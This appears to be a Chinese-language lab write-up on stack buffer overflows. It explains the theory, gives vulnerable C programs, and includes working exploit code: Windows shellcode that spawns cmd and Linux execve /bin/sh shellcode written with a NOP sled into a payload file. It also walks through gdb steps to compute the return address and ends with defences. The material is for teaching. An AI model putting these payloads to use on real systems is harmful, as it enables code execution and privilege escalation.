1. 程式人生 > 其它 >緩衝區溢位漏洞實驗

緩衝區溢位漏洞實驗

一、實驗簡介

緩衝區溢位是指程式試圖向緩衝區寫入超出預分配固定長度資料的情況。這一漏洞可以被惡意使用者利用來改變程式的流控制,甚至執行程式碼的任意片段。這一漏洞的出現是由於資料緩衝器和返回地址的暫時關閉,溢位會引起返回地址被重寫。

原理詳解:

緩衝區是記憶體中存放資料的地方。在程式試圖將資料放到機器記憶體中的某一個位置的時候,因為沒有足夠的空間就會發生緩衝區溢位。而人為的溢位則是有一定企圖的,攻擊者寫一個超過緩衝區長度的字串,植入到緩衝區,然後再向一個有限空間的緩衝區中植入超長的字串,這時可能會出現兩個結果:一是過長的字串覆蓋了相鄰的儲存單元,引起程式執行失敗,嚴重的可導致系統崩潰;另一個結果就是利用這種漏洞可以執行任意指令,甚至可以取得系統root特級許可權。
緩衝區是程式執行的時候機器記憶體中的一個連續塊,它儲存了給定型別的資料,隨著動態分配變數會出現問題。大多時為了不佔用太多的記憶體,一個有動態分配變數的程式在程式執行時才決定給它們分配多少記憶體。如果程式在動態分配緩衝區放入超長的資料,它就會溢位了。一個緩衝區溢位程式使用這個溢位的資料將組合語言程式碼放到機器的記憶體裡,通常是產生root許可權的地方。僅僅單個的緩衝區溢位並不是問題的根本所在。但如果溢位送到能夠以root許可權執行命令的區域,一旦執行這些命令,那可就等於把機器拱手相讓了。
通過往程式的緩衝區寫超出其長度的內容,造成緩衝區的溢位,從而破壞程式的堆疊,進而執行精心準備的指令,以達到攻擊的目的。

二、緩衝區溢位例項

1、利用陣列越界進行緩衝區溢位

#include<stdio.h>
void HelloWord()
{
	printf("Hello World");
	getchar();
}
void Fun()
{
	int arr[5] = {1,2,3,4,5};
	arr[6] = (int) HelloWord;
}
int main()
{
	Fun();
	return 0;
}

2、利用strcpy()函式進行緩衝區溢位攻擊

#include "stdafx.h"
#include <stdio.h>
#include <string.h>

char shellcode3[] = "\x68\x72\x6F\x63\x41\x68\x47\x65"
"\x74\x50\xE8\x41\x00\x00\x00\x50\x68\x4C\x69\x62\x72\x68\x4C\x6F"
"\x61\x64\xE8\x31\x00\x00\x00\x50\x68\x72\x74\x00\x00\x68\x6D\x73"
"\x76\x63\x54\xFF\xD0\x83\xC4\x08\x68\x65\x6D\x00\x00\x68\x73\x79"
"\x73\x74\x54\x50\xFF\x54\x24\x14\x83\xC4\x08\x68\x63\x6D\x64\x00"
"\x54\xFF\xD0\x83\xC4\x14\xEB\x67\x55\x8B\xEC\x64\xA1\x30\x00\x00"
"\x00\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x70\x28\x80\x7E\x0C\x33"
"\x75\xF5\x8B\x40\x10\x8B\xF8\x03\x7F\x3C\x8B\x7F\x78\x03\xF8\x8B"
"\xDF\x8B\x7B\x20\x03\xF8\x33\xC9\x8B\x34\x8F\x03\xF0\x41\x8B\x54"
"\x24\x08\x39\x16\x75\xF2\x8B\x54\x24\x0C\x39\x56\x04\x75\xE9\x8B"
"\x7B\x24\x03\xF8\x8B\x0C\x4F\x81\xE1\xFF\xFF\x00\x00\x8B\x7B\x1C"
"\x03\xF8\x49\xC1\xE1\x02\x8B\x3C\x0F\x03\xC7\x5D\xC2\x08\x00";

#pragma comment(linker, "/section:.data,RWE")
void Sub_3()
{
    __asm
    {

        mov eax, offset shellcode3
        jmp eax

    }
}

void overflow(const char* input)
{
    char buf[8];
    printf("Virtual address of 'buf' = Ox%p\n", buf);
    strcpy(buf, input);
}
void fun()
{
    printf("Function 'fun' has been called without an explicitly invocation.\n");
    printf("Buffer Overflow attack succeeded!\n");
}
int main()
{
    printf("Address of 'overflow' = Ox%p\n", overflow);
    printf("Sddress of 'fun' = Ox%p\n", fun);
    printf("Sddress of 'Sub3' = Ox%p\n", Sub_3);
    char input[] = "AAAbbbbbbaaa\xA5\x10\x41\x00";    
    //char input[] = "AAAAAAA";
    overflow(input);
    return 0;
}

3、本次實驗用的測試程式碼為:

#include <stdio.h>
int main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

一般情況下,緩衝區溢位會造成程式崩潰,在程式中,溢位的資料覆蓋了返回地址。而如果覆蓋返回地址的資料是另一個地址,那麼程式就會跳轉到該地址,如果該地址存放的是一段精心設計的程式碼用於實現其他功能,這段程式碼就是 shellcode。

本次實驗的 shellcode,就是剛才程式碼的彙編版本:
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

GCC編譯器有一種棧保護機制來阻止緩衝區溢位,所以我們在編譯程式碼時需要用 –fno-stack-protector 關閉這種機制。 而 -z execstack 用於允許執行棧

-g 引數是為了使編譯後得到的可執行文件能用 gdb 除錯。

在同一目錄下(/tmp)建立兩個c原始檔

stack.c

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
    char buffer[12];
    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);
    return 1;
}
int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}

exploit.c

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;
void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
    /* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移處起始的四個位元組覆蓋sellcode地址  
    strcpy(buffer + 100, shellcode);   //將shellcode拷貝至buffer,偏移量設為了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

輸入命令:gdb stack disass main進入gdb除錯

esp 中就是 str 的起始地址,所以我們在地址 0x080484ee 處設定斷點。

再設定斷點找出str的地址

// 設定斷點

b *0x080484ee
r
i r $esp

最後獲得的這個 0xffffcfb0 就是 str 的地址。
根據語句 strcpy(buffer + 100,shellcode); 我們計算 shellcode 的地址為 0xffffcfb0 + 0x64 = 0xffffd014
現在修改 exploit.c 檔案,將 \x??\x??\x??\x?? 修改為計算的結果 \x14\xd0\xff\xff,注意順序是反的。
先執行攻擊程式 exploit,再執行漏洞程式 stack,觀察結果:

可見,通過攻擊,獲得了root 許可權!

三、預防緩衝區溢位的方法

有四種基本的方法保護緩衝區免受緩衝區溢位的攻擊和影響。

  1. 通過作業系統使得緩衝區不可執行,從而阻止攻擊者植入攻擊程式碼。
  2. 強制寫正確的程式碼的方法。
  3. 利用編譯器的邊界檢查來實現緩衝區的保護。這個方法使得緩衝區溢位不可能出現,從而完全消除了緩衝區溢位的威脅,但是相對而言代價比較大。
  4. 一種間接的方法,這個方法在程式指標失效前進行完整性檢查。雖然這種方法不能使得所有的緩衝區溢位失效,但它能阻止絕大多數的緩衝區溢位攻擊。分析這種保護方法的相容性和效能優勢。
星光盪開宇宙